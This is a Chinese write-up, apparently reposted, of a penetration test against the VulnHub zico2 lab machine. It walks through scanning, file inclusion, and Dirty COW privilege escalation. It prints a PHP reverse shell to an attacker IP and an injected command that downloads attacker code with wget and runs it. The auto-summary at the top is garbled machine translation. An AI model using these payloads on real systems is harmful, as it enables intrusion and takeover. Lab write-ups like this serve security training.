kali渗透综合靶机(五)--zico2靶机

摘要:
˃,然后将文件包含与文件包含合并。5.在攻击端编写一个弹跳脚本,然后在目标数据库中编写一段代码,以加载攻击端的代码,将文件包含与文件包含结合起来,然后开始在攻击端侦听攻击端代码:6.创建一个新的终端python-c‘importpty;私人。垃圾邮件'7.下载脏的。攻击端的c脚本。8.然后编译并运行它。然后切换到firepart帐户以获得管理员权限。摘要:1.信息收集。2.文件包含。3.肮脏的奶牛权利

kali渗透综合靶机(五)--zico2靶机

靶机地址:https://www.vulnhub.com/series/zico2,137/#modal210download

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24

  kali渗透综合靶机(五)--zico2靶机第1张

二、端口扫描

1.masscan --rate=10000 -p 0-65535 192.168.10.158

  kali渗透综合靶机(五)--zico2靶机第2张

三、端口服务识别

1. nmap -sV -T4 -O 192.168.10.157 -p 22,80,111,60830

  kali渗透综合靶机(五)--zico2靶机第3张

四、漏洞发现

1.访问http://192.168.10.158,发现http://192.168.10.158/view.php?page=tools.htm可能存在文件包含漏洞

  kali渗透综合靶机(五)--zico2靶机第4张

2.测试是否存在文件包含漏洞,下图说明存在存在文件包含漏洞

  kali渗透综合靶机(五)--zico2靶机第5张

3.扫描网站目录

dirb http://192.168.10.158

  kali渗透综合靶机(五)--zico2靶机第6张

4.测试数据库是否可写内容,在数据库插入<? Phpinfo();?>,然后结合文件包含

  kali渗透综合靶机(五)--zico2靶机第7张

然后结合文件包含

  kali渗透综合靶机(五)--zico2靶机第8张

5.在攻击端写反弹脚本,然后在目标数据库中写入一段代码加载位于攻击端的代码,结合文件包含,然后在攻击端开启监听

攻击端代码:

<?php

$sock=fsockopen("192.168.10.151",4444);exec("/bin/sh -i <&3 >&3 2>&3");

?>

目标数据库插入代码:

<?php system("wget 192.168.10.151/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>

  kali渗透综合靶机(五)--zico2靶机第9张

  kali渗透综合靶机(五)--zico2靶机第10张

  kali渗透综合靶机(五)--zico2靶机第11张

6.新建一个终端

python -c 'import pty;pty.spawn("/bin/bash")'

  kali渗透综合靶机(五)--zico2靶机第12张

7.下载攻击端的dirty.c脚本

  kali渗透综合靶机(五)--zico2靶机第13张

8. 然后编译并运行,然后切换firefart账户,获得管理员权限

  kali渗透综合靶机(五)--zico2靶机第14张

 

总结:

1.信息收集

2.文件包含

3.脏牛提权

免责声明:文章转载自《kali渗透综合靶机(五)--zico2靶机》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇[基础技能] 安全技术——数字签名与数字证书以及其中涉及到的相关伪造问题单片机中断的IE和IP寄存器(摘抄)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Android持久化存储——(包含操作SQLite数据库)

《第一行代码》读书手札 你可能会遇到的问题:解决File Explorer 中无显示问题 Android中,持久化存储,常见的一共有三种方法实现 (一.)利用文件存储 文件存储是Android存储中,最基本的一种存储方式。 就是利用Context类的方法,获取输入输出字节流对象,之后,就是java的文件操作。 特点: 不对存储的数据进行任何格式...

kali系统网站部署笔记

网站放在 其他位置----计算机------var-----www----html 首先启动nginx service nginx start   然后访问127.0.0.1 就会看到Apache正在工作 启动mysql数据库 service mysql start 接着用 mysql -u root -p 连接mysql 用户名:root 密码:1234...

时序数据库的选择?

作者:网易云链接:https://www.zhihu.com/question/50194483/answer/428449003来源:知乎著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 基于这个问题,推荐我厂范欣欣同学的一篇文章,这篇文章笔者将会分别针对OpenTSDB、Druid、InfluxDB以及Beringei这四个时序系统...

oracle 监听文件 说明

MAR:电脑笔记 不做整理 。。 ORACLE_SID=orcl2 instance_name=sicca   静态注册文件中SID_NAME=ORACLE_SID 动态注册的时候是用的instance_name   在tnsname.ora中,动态注册的话,监听器知道实例的状态。注册的是参数文件中的instance_name 。客户端要与注册端保持...

为什么完整备份不能截断事务日志

导言 完整备份不能截断事务日志,这是所有SQL Server DBA的一个常识, 为此,当数据库处于完整恢复模式时(非特别说明,下文所提到都是完整恢复模式下的数据库),DBA们必须频繁地使用事务日志备份的方式来防止日志文件变得过大。 这几乎成为了DBA们的一个定理,但,作为一个DBA,你证明过这个定理吗?你知道为什么完整备份不能截断事务日志吗? 一个错误的...

RMAN详细教程(一):基本命令代码

RMAN详细教程(一):基本命令代码RMAN详细教程(二):备份、检查、维护、恢复RMAN详细教程(三):备份脚本的组件和注释RMAN详细教程(四):备份脚本实战操作 一、target——连接数据库 1、本地: [oracle@oracle ~]$ rman target / 2、远程: [oracle@oracle ~]$ rman target sy...